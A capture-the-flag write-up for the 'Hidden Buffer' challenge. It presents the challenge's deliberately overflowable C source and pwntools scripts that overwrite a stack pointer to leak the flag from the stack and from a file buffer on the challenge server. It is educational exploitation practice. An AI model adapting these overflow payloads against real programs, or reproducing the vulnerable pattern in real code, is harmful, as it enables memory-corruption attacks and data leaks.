FuzzyLand: Hidden Buffer
General
This challenge focuses on memory layouts, usage of freed buffers and buffer overflows. An executable and the corresponding C-Source were given.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// C-Source
#include <stdio.h>
#include <stdlib.h>
#define BUFFER_SIZE 0x40
int main(int argc, char**argv)
{
struct
{
char flag[BUFFER_SIZE];
char input[040];
char **p;
} data = {0};
*(data.p = malloc(sizeof(char*))) = data.input;
FILE* file = fopen("flag.txt", "rb");
if (!file)
fputs("File not found! :(\n", stderr);
else
fread(data.flag, sizeof(char), BUFFER_SIZE - 1, file);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("My address is %p: %p, what's yours?\n", &data.p, data.p);
scanf("%040s", *data.p);
printf("Confirmed: %s\n", *data.p);
return 0;
}
After a quick look in the source the objective seemed to be pretty clear: Find a way to print from the flags pointer instead of the inputs pointer.
Nonetheless, I did run the script remotely myself at first to visually see what I am working with.
Console output:
1
2
3
My address is 0x7ffdf5ca44a0: 0x3b674b70, what's yours?
Grazer Str. 202
Confirmed: Grazer
Print from another pointer
First of all I looked at the scanf call and noticed that the different size limits do not match up. I can read up to 40 characters into a buffer which is only 32 characters long. My first approach was to see what will be overwritten when the buffer overflows and luckily it is the value of data.p. To effortlessly send payloads I made a little script that does that for me.
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
r = remote('challs.fuzzy.land', 5108)
r.recvline()
payload = "A" * 32
print("Payload: ", payload)
r.send(payload.encode() + b"\n")
print(r.recvline().decode())
r.close()
Console output:
1
2
3
4
5
[+] Opening connection to challs.fuzzy.land on port 5108: Done
Payload: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Confirmed: (null)
[*] Closed connection to challs.fuzzy.land port 5108
I now have access to the value of data.p but I have to be cautious what pointer to put there because data.p gets dereferenced and is then being used as a char pointer. That means I have to provide a pointer that is pointing to the pointer that is pointing to the string I want to print.
flowchart LR
A[data.p] --> B[some pointer]
B --> C[wanted output]
I have two options. I either set data.p to point to an existing pointer or I define a pointer myself to which I am then pointing data.p. The second option seems more controlling, adjustable and easier, so I am going with that one.
To set up the pointer play I have adjusted my script a bit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
r = remote('challs.fuzzy.land', 5108)
r.recvline()
firstAddr="Addr for data.p in hex"
secondAddr="Custom pointer in hex"
filler = "A" * 32
payload = p64(int(secondAddr, 16)) + filler.encode() + p64(int(firstAddr, 16))
print("Payload: ", payload)
r.send(payload)
print(r.recvline().decode())
r.close()
To figure out address layout I had to decide between reversing the memory layout by decompiling the binary and reconstructing it with the rsp offsets or running the given binary with gdb and setting breakpoints, which I do get through BinaryNinjas decompile to have a nice UI to work with, to dump some memory and just look what is where.
I again went with the second option to save myself some sanity.
Decompile:
To begin with I set a breakpoint just after the scanf call at 0x004018b8 where I inserted the alphabet in caps to identify the buffer in the memory dump.
Now I have the offset to the buffer pointer from the data.p-pointer (0x7fffffffe010 - 0x7fffffffdff0 = 0x20) but I still need the pointer to the flag content. One part of the memory made me especially curious so I decided to also dump all of this as strings and there it was.
So now I also have the offset to the flag content (0x7fffffffe010 - 0x7fffffffdfb0 = 0x60) and I can craft my payload printing the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
r = remote('challs.fuzzy.land', 5108)
greeting = r.recvline().decode()
baseAddress = greeting.split("0x")[1].split(": ")[0].zfill(16)
offset1 = 0x20
offset2 = 0x60
firstAddr=p64(int(baseAddress, 16) - offset1)
secondAddr=p64(int(baseAddress, 16) - offset2)
filler = "A" * 24
payload = secondAddr + filler.encode() + firstAddr
print("Payload: ", payload)
r.send(payload)
print(r.recvline().decode())
r.close()
Console output:
1
2
3
4
5
6
7
[+] Opening connection to challs.fuzzy.land on port 5108: Done
Payload: b'0\x1cGj\xfe\x7f\x00\x00AAAAAAAAAAAAAAAAAAAAAAAA
p\x1cGj\xfe\x7f\x00\x00'
Confirmed:
LosCTF{fl4g_does_n0t_fit_in_stack_buffer_but_more_is_stored_in_
[*] Closed connection to challs.fuzzy.land port 5108
Based troll. That is something but not the whole flag. To get the rest I had to do some digging
Get entire flag
The only place where the rest of the flag could be is the open file that never got closed. I again worked a lot with trial and error to get the address where the file pointer would still exist when I am able to write to the program by using the known heap-based address from the malloc call to get a sense of the address range for the heap allocations and then search for a pointer that could be the file pointer.
Again I have got the offset from the stack-based pointer given in the greeting and the pointer where the file-pointer is stored (0x7fffffffe010 - 0x7fffffffde20 = 0x1f0)
Because I do not need the custom pointer anymore I have simplified the python script for the write-up to get to the entire flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
r = remote('challs.fuzzy.land', 5108)
greeting = r.recvline().decode()
baseAddress = greeting.split("0x")[1].split(": ")[0].zfill(16)
offset = 0x1f0
firstAddr=p64(int(baseAddress, 16) - offset)
filler = "A" * 32
payload = filler.encode() + firstAddr
print("Payload: ", payload)
r.send(payload)
print(r.recvline().decode())
r.close()
Console output:
1
2
3
4
5
6
[+] Opening connection to challs.fuzzy.land on port 5108: Done
Payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
\x80\x9a\xfd\x1e\xff\x7f\x00\x00'
Confirmed: [flag withheld]
[*] Closed connection to challs.fuzzy.land port 5108
And there we have it! [flag withheld]




